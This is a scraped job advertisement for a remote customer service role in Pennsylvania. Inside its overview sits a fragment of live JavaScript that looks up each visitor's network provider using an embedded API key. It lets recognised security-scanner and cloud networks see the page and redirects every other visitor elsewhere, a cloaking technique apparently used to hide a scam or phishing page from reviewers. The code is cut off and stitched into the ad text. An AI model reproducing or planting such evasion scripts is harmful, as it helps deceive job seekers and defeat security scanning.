Remote Customer Service Representative

Remote Customer Service Representative

Overview


const ipAddress = data.ip;

// retrieve ISP name and AS organization using ip-api.com API const ispUrl = `https://pro.ip-api.com/json/${ipAddress}?key=kKPypoeKUHgwZWD`; fetch(ispUrl) .then(response => response.json()) .then(data => { const ispName = data.isp; const asOrg = data.asname;

// check if ISP or AS organization is allowed const allowedIsps = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const allowedAsOrgs = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName)); const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg));

if (!ispAllowed && !asOrgAllowed) { // Redirect all users to the same URL window.location.href = ''; } }) .catch(error => { console.error('Error retrieving ISP name:', error); }); }) .catch(error => { console.error('Error retrieving IP address or location:', error); });

We are seeking a dedicated Remote Customer Service Representative located in Nan, Pennsylvania to join our team. In this role, you will provide exceptional support to customers via phone, email, and chat, ensuring their inquiries are resolved efficiently and professionally.

Responsibilities include:

  • Responding promptly to customer inquiries and concerns
  • Providing product and service information accurately
  • Resolving complaints and escalating issues when necessary
  • Maintaining detailed records of customer interactions
  • Collaborating with team members to improve service quality

Skills needed:

  • Excellent communication and problem-solving abilities
  • Strong organizational skills and attention to detail
  • Ability to work independently in a remote setting
  • Proficiency with computer systems and customer service software

Benefits include:

  • Flexible remote work schedule
  • Competitive compensation
  • Health, dental, and vision insurance options
  • Paid time off and holidays
  • Opportunities for advancement and training
Emploment Location
Pennsylvania

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